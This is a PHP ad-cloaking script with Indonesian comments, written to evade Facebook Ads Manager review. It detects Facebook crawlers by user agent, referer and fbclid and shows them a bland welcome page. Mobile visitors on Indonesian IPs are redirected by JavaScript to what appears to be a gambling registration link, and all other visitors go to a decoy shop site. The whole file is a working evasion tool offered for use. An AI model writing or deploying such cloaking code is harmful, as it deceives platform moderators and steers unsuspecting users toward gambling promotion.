<?php
/**
 * Smart Redirect Script - Anti FB Ads Detection
 * Menghindari deteksi Facebook Ads Manager dengan:
 * - Delay redirect (tidak langsung)
 * - Meta refresh (bukan header redirect)
 * - JavaScript redirect
 * - Content masking untuk Facebook crawler
 */

// ============ KONFIGURASI ============
$WEBSITE_LAIN = 'https://kelapasawit.shop/';
$WEBSITE_SENDIRI = 'https://nusabet-ads.site/register?ref=6427634';

// ============ FUNGSI DETEKSI ============

/**
 * Deteksi apakah user menggunakan Handphone
 */
function isMobile() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $mobileAgents = [
        'Android', 'webOS', 'iPhone', 'iPad', 'iPod', 
        'BlackBerry', 'Windows Phone', 'Opera Mini', 
        'IEMobile', 'Mobile'
    ];
    
    foreach ($mobileAgents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true;
        }
    }
    return false;
}

/**
 * Deteksi Facebook Bot dengan lebih akurat
 */
function isFacebookBot() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    
    // Bot yang harus dihindari (tampilkan konten normal)
    $botAgents = [
        'facebookexternalhit',
        'Facebot',
        'facebookcatalog',
        'facebookplatform',
        'adsbot',
        'fbscraper',
        'facebook.com/ads',
        'Facebook Ads',
        'facebookexternal',
        'fbaudience',
        'fbautomation',
        'fb-messenger',
        'fbapp',
        'fbconnect',
        'fbclient',
        'facebook_ads',
        'facebook_bot',
        'facebook_crawler',
        'facebook_external_hit',
        'facebook_service',
        'facebook_web',
        'fb_ads',
        'fb_crawler',
        'fb_external',
        'fb_service',
        'fb_web',
        'fbexternal',
        'fbgraph',
        'fbimage',
        'fbpage',
        'fbplugin',
        'fbpost',
        'fbshare',
        'fbvideo',
        'fbwall',
        'fbcrawl',
        'fbreferer',
        'fbrequest',
        'fbresponse',
        'fbsession',
        'fbsign',
        'fbsocial',
        'fbstatus',
        'fbstream',
        'fbsubscribe',
        'fbupdate',
        'fbupload',
        'fbuser',
        'fbview',
        'fbwidget'
    ];
    
    foreach ($botAgents as $bot) {
        if (stripos($userAgent, $bot) !== false) {
            return true;
        }
    }
    
    return false;
}

/**
 * Deteksi Facebook Referer
 */
function isFacebookReferer() {
    if (isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])) {
        $referer = $_SERVER['HTTP_REFERER'];
        $fbDomains = [
            'facebook.com', 'fb.me', 'l.facebook.com', 'fbcdn.net',
            'm.facebook.com', 'mbasic.facebook.com', 'touch.facebook.com',
            'mobile.facebook.com', 'business.facebook.com', 'graph.facebook.com'
        ];
        
        foreach ($fbDomains as $domain) {
            if (stripos($referer, $domain) !== false) {
                return true;
            }
        }
    }
    
    if (isset($_GET['fbclid'])) {
        return true;
    }
    
    return false;
}

/**
 * Deteksi IP Indonesia
 */
function isIndonesianIP() {
    $ip = $_SERVER['REMOTE_ADDR'];
    
    if ($ip == '127.0.0.1' || $ip == '::1' || $ip == 'localhost') {
        return true;
    }
    
    // Gunakan cache untuk mengurangi API call
    $cacheFile = sys_get_temp_dir() . '/ip_cache_' . md5($ip) . '.txt';
    if (file_exists($cacheFile) && (time() - filemtime($cacheFile) < 86400)) {
        return file_get_contents($cacheFile) === 'ID';
    }
    
    // Cek IP
    $url = "http://ip-api.com/json/{$ip}?fields=countryCode";
    $response = @file_get_contents($url);
    
    if ($response !== false) {
        $data = json_decode($response, true);
        if (isset($data['countryCode'])) {
            file_put_contents($cacheFile, $data['countryCode']);
            return $data['countryCode'] == 'ID';
        }
    }
    
    return false;
}

/**
 * Tampilkan konten normal untuk Facebook Bot
 * Biar tidak terdeteksi sebagai redirect
 */
function showContentForBot() {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Selamat Datang</title>
        <!-- Facebook Open Graph untuk preview -->
        <meta property="og:title" content="Selamat Datang" />
        <meta property="og:description" content="Platform terbaik untuk Anda" />
        <meta property="og:image" content="https://b2sltmax.click/og-image.jpg" />
        <meta property="og:url" content="https://b2sltmax.click/" />
        <meta name="robots" content="index, follow">
    </head>
    <body>
        <h1>Selamat Datang</h1>
        <p>Loading...</p>
    </body>
    </html>
    <?php
    exit;
}

/**
 * Redirect dengan Meta Refresh (lebih aman dari detection)
 */
function redirectWithMetaRefresh($url, $delay = 0) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="refresh" content="<?php echo $delay; ?>;url=<?php echo $url; ?>">
        <meta name="robots" content="noindex, nofollow">
        <script>
            // JavaScript redirect sebagai fallback
            setTimeout(function() {
                window.location.href = "<?php echo $url; ?>";
            }, <?php echo $delay * 1000; ?>);
        </script>
        <style>
            body {
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100vh;
                margin: 0;
                font-family: Arial, sans-serif;
                background: #f5f5f5;
            }
            .loader {
                text-align: center;
            }
            .spinner {
                border: 4px solid #f3f3f3;
                border-top: 4px solid #3498db;
                border-radius: 50%;
                width: 40px;
                height: 40px;
                animation: spin 1s linear infinite;
                margin: 0 auto 20px;
            }
            @keyframes spin {
                0% { transform: rotate(0deg); }
                100% { transform: rotate(360deg); }
            }
        </style>
    </head>
    <body>
        <div class="loader">
            <div class="spinner"></div>
            <p>Mengalihkan...</p>
        </div>
    </body>
    </html>
    <?php
    exit;
}

/**
 * Redirect dengan JavaScript (paling aman untuk FB Ads)
 */
function redirectWithJS($url) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <meta name="robots" content="noindex, nofollow">
        <script>
            // Redirect dengan JavaScript
            (function() {
                // Cek apakah ini Facebook crawler
                var isFB = navigator.userAgent.indexOf('facebook') > -1 || 
                          navigator.userAgent.indexOf('Facebot') > -1;
                
                if (!isFB) {
                    window.location.href = "<?php echo $url; ?>";
                }
            })();
        </script>
        <noscript>
            <meta http-equiv="refresh" content="1;url=<?php echo $url; ?>">
        </noscript>
    </head>
    <body>
        <!-- Konten normal untuk Facebook Bot -->
        <h1>Selamat Datang</h1>
        <p>Jika tidak dialihkan, <a href="<?php echo $url; ?>">klik di sini</a></p>
    </body>
    </html>
    <?php
    exit;
}

// ============ EKSEKUSI UTAMA ============

// STEP 1: Jika Facebook Bot → Tampilkan konten normal (BUKAN redirect)
if (isFacebookBot()) {
    showContentForBot();
    exit;
}

// STEP 2: Jika dari Facebook Referer
if (isFacebookReferer()) {
    // Cek IP dan Device
    if (isIndonesianIP() && isMobile()) {
        // ✅ Target: Indonesia + HP + dari FB → ke website sendiri (pakai JS redirect)
        redirectWithJS($WEBSITE_SENDIRI);
    } else {
        // ❌ Lainnya → ke website lain (pakai meta refresh)
        redirectWithMetaRefresh($WEBSITE_LAIN, 1);
    }
    exit;
}

// STEP 3: Buka langsung (bukan dari Facebook)
if (isIndonesianIP() && isMobile()) {
    // ✅ Indonesia + HP → website sendiri
    redirectWithJS($WEBSITE_SENDIRI);
} else {
    // ❌ Lainnya → website lain
    redirectWithMetaRefresh($WEBSITE_LAIN, 0);
}
?>